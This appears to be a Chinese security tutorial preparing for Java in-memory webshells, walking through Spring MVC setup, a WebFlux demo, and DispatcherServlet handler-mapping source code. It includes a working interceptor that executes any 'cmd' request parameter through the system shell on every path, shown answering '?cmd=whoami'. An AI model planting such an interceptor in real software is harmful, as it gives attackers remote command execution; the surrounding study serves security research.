Java内存马之SpringMVC开发基础

简单Spring项目

开一个简单的Spring项目,设置Server URLhttps://start.aliyun.com/
image.png
spring.io的启动没有java8,记得修改构建模式为Maven。选择一个基础的Spring Web依赖就可以。
image.png
然后为其添加一个TestController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.natro92.springtest.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class TestController {
@ResponseBody
@RequestMapping("/")
public String test(){
return "Hello World!";
}
}

运行SpringTestApplication.java
image.png
再加一个TestInterceptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.natro92.springtest.demos.web;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Scanner;

public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String output = "";
ProcessBuilder processBuilder;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
}
Scanner inputScanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
output = inputScanner.hasNext() ? inputScanner.next() : output;
inputScanner.close();
writer.write(output);
writer.flush();
writer.close();
} catch (Exception ignored) {}
return false;
}
return true;
}
}

再来一个WebConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.natro92.springtest.demos.web;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}

这样我们访问127.0.0.1:8080/?cmd=whoami就有会显了:
image.png

基于Netty的Spring WebFlux Demo

image.png
image.png
选择对应的Reactive Web
添加一个软件包,其中放置一会要用的两个java文件:GreetingHandler.javaGreetingRouter.java
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.natro92.webfluxdemo.hello;

import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;

@Component
public class GreetingHandler {
public Mono<ServerResponse> hello(ServerRequest serverRequest){
return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue("Hello, Spring!"));
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.natro92.webfluxdemo.hello;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.RequestPredicates;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@Configuration
public class GreetingRouter {
@Bean
public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler){
return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
}
}

然后再main/resources中的application.properties(没有就新建),修改server.port控制netty服务。

1
server.port=9191

然后运行WebFluxDemoApplication访问即可。
image.png
PS: 可以通过以下的这个项目进一步认识Netty+SpringWebFlux

GitHub - Java-Techie-jt/springboot-webflux-demo

113294351-7f577880-9314-11eb-859e-23504ccdebaf.PNG

初始Spring MVC

**Spring MVC** 是 Spring 框架的一部分,它提供了一个基于模型-视图-控制器 (MVC) 设计模式的 Web 应用程序开发框架。它简化了 Web 应用程序的开发,并提供了许多强大的功能。
springmvc2.png

  • DispatcherServlet是前端控制器,接受Request并分配给其他组件。
  • HandlerMapping负责完成urlController映射,可以通过它来找到对应的处理RequestController
  • Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;
  • ④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。

文章中还提到了IOCInverse of Control,控制反转)是一种设计模式,它通过将控制权从应用程序代码转移到框架来管理对象之间的依赖关系。在Spring MVC中,IOC容器负责实例化、配置和管理应用程序中的对象,而不是由开发人员来手动管理对象之间的依赖关系。这样可以降低组件之间的耦合度,使代码更加灵活、可维护和可测试。IOC容器在Spring MVC中通过依赖注入(Dependency Injection)来实现,将对象的依赖关系注入到对象中,从而实现控制反转的效果。
以下是两种常见的容器:

  • BeanFactory:Spring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。
  • ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。

SpringMVC九大组件

  • DispatcherServlet(调度器Servlet):是Spring MVC的核心,负责接收客户端的请求并将请求分发给对应的处理器(Controller)进行处理。
  • HandlerMapping(处理器映射器):负责将请求映射到对应的处理器(Controller)上,确定哪个处理器处理哪个请求。
  • HandlerAdapter(处理器适配器):负责调用处理器(Controller)的方法来处理请求,并将处理结果返回给DispatcherServlet。
  • Handler(处理器Controller):处理请求的核心组件,包含处理请求的方法。
  • ViewResolver(视图解析器):负责根据处理器返回的逻辑视图名解析出具体的视图对象,用于渲染页面。
  • View(视图):负责将模型数据渲染成最终的页面展示给用户。
  • LocaleResolver(区域解析器):负责解析客户端的区域信息,用于国际化和本地化。
  • ThemeResolver(主题解析器):负责解析客户端的主题信息,用于实现页面主题的切换。
  • MultipartResolver(文件上传解析器):负责处理文件上传请求,将上传的文件转换成MultipartFile对象供处理器使用。

简单源码分析

九大组件初始化

先找到org.springframework.web.servlet.DispatcherServlet,这其中没有init函数,而init函数在父类FrameworkServlet的父类org.springframework.web.servlet.HttpServletBean中。
image.png
ServletConfig中获取参数,创建一个PropertyValues,设置Bean属性,然后初始化ServletBean
image.png
image.png
其中为空,应该是被Override了,可以在org.springframework.web.servlet.FrameworkServlet#initServletBean中看到,仔细查看530行部分,这里初始化了IOC容器。
image.png
而调用的org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext其中调用了一个onfresh方法:
image.png
image.png
同样是Override得到,我们查找上一层在org.springframework.web.servlet.DispatcherServlet#onRefresh
image.png
这就是SpringMVC的九大组件的初始化。

url和Controller关系

如何通过注解比如@RequestMapping("/")与方法关联。
从初始化这里入手吗,进入org.springframework.web.servlet.DispatcherServlet#initHandlerMappings
image.png
查找 ApplicationContext 中的所有 HandlerMappings,包括ancestor contexts。如果有,将所有machingBeans排序,并将最后得到的列表传给this.handlerMappings
image.png
如果没获取到,注释说的很清楚:

Ensure we have at least one HandlerMapping, by registering a default HandlerMapping if no other mappings are found.

那么会用org.springframework.web.servlet.DispatcherServlet#getDefaultStrategies创建一个默认的HandlerMapping,并传值给this.handlerMappings
进去看看getDefaultStrategies函数。
首先是从参数文件中加载默认的策略保存在defaultStrategies中,键值对中的值还要分割成数组,然后对每个类名进行如下操作:

  • ClassUtils.forName加载这个类。
  • 实例化,添加策略,并返回这个值。

image.png
而这其中的DEFAULT_STRATEGIES_PATH名字就是DispatcherServlet.properties,根据注释这个部分定义了默认策略。

Name of the class path resource (relative to the DispatcherServlet class) that defines DispatcherServlet’s default strategy names.

image.png
image.png
SpringMVC的jar包中可以看到配置文件:
image.png
而按照要求BeanNameUrlHandlerMappingRequestMappingHandlerMappingRouterFunctionMapping,一般使用的是第二个。
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping我们跳转看下。
image.png
它的父类的父类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping实现了InitializingBean,这个接口在bean初始化之后会进行一些自定义初始化逻辑。
image.png
image.png
AbstractHandlerMapping中重写内容。
image.png
调用了initHandlerMethods,根据注释,扫描、检测、注册handler methods
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#initHandlerMethods这里断点。
image.png
进到org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#processCandidateBean中。
image.png
image.png
根据注释这个isHandler是判断类型是不是Handler,是用来检测给定的beanType类是否带有Controller注解或者RequestMapping注解。
然后调用org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods部分。
image.png
主要是使用ApplicationContext获取类型,否则返回handler类型。
image.png
获取处理器的用户类,能获取到实际处理请求的类。调用这里的selectMethods类。然后调用那个getMappingForMethod方法。
image.png
查看子类实现org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#getMappingForMethod
image.png
解析Controller类方法中的注解,然后生成一个RequestMappingInfo对象,然后我们进去看下org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)
image.png
image.png
这里info保存的路由是/user
再看org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods,这里的lambda表达式的意思是:
image.png
意思是,先用selectInvocableMethod方法根据methoduserType选择出一个可调用的方法,这样是为了处理可能存在的代理和AOP的情况,确保获取到的是可直接调用的原始方法;然后把beanMethodRequestMappingInfo注册进MappingRegistry
这样就连接上urlcontroller